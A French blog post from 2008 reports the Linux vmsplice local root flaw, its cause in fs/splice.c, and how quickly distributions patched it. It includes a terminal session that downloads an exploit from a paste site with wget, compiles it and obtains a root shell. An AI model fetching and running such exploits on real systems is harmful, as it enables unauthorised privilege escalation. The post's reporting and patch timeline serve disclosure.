fév 19 2008

Faille dans le noyau Linux.

Une importante faille de sécurité à été découverte dans le noyau Linux, le vendredi 8 février. Elle permet à un simple utilisateur d’obtenir les privilèges root en exploitant l’appel système splice(). Cette faille concerne les versions 2.6.17 à 2.6.24.1 du noyau.

La faille

L’appel systèmes vmsplice() a été introduit dans la version 2.6.17 du noyau, il permet d’échanger des données entre deux descripteurs de fichiers. La faille provient de l’absence de vérification des paramètres envoyés aux fonctions vmsplice_to_user(), copy_from_user_mmap_sem() et get_iovec_page_array() de fs/splice.c.

Cette faille permet à un utilisateur local d’obtenir les privilèges root, comme le montre ce proof of concept :

nicoz@ForteresseDigitale:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O vmsplice_exploit.c
--13:58:10-- http://paste.ubuntu-nl.org/55587/plain/
=> `vmsplice_exploit.c'
Résolution de paste.ubuntu-nl.org... 81.171.100.21
Connexion vers paste.ubuntu-nl.org|81.171.100.21|:80... connecté.
requête HTTP transmise, en attente de la réponse... 200 OK
Longueur: non spécifié [text/plain]

[ <=> ] 7 336 --.--K/s

13:58:10 (61.63 KB/s) - « vmsplice_exploit.c » sauvegardé [7336]

nicoz@ForteresseDigitale:~$ gcc -o vmsplice_exploit vmsplice_exploit.c
nicoz@ForteresseDigitale:~$ ./vmsplice_exploit
-----------------------------------
Linux vmsplice Local Root Exploit
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e13000 .. 0xb7e45000
[+] root
root@ForteresseDigitale:~#

Réactions

La version 2.6.24.2, qui corrige cette faille, a été publiée le dimanche 10 février. La première distribution Linux à fixer ce bug a été Debian, le 11 février à 13H58. DistroWatch propose un tableau récapitulant le temps de réaction des distributions ;

Distribution Date / Heure Délais Référence
Debian GNU/Linux 11-02-2008 13:58 +0 heure DSA 1494-1
Fedora 11-02-2008 22:39 +8 heures FEDORA-2008-1423
Slackware Linux 12-02-2008 02:00 +12 heures SSA:2008-042-01
Mandriva Linux 12-02-2008 07:06 +19 heures MDVSA-2008:043
Frugalware Linux 12-02-2008 11:17 +21 heures FSA-369
openSUSE 12-02-2008 12:43 +23 heures SUSE-SA:2008:007
rPath Linux 12-02-2008 16:28 +26 heures rPSA-2008-0052-1
Red Hat Enterprise Linux 12-02-2008 16:54 +27 heures RHSA-2008:0129-01
Ubuntu 12-02-2008 17:23 +27 heures USN-577-1
CentOS 13-02-2008 03:27 +37 heures CESA-2008:012

On remarque que la correction du bug a été rapide, à la hauteur du danger que représentait cette faille.

Pour en savoir plus ;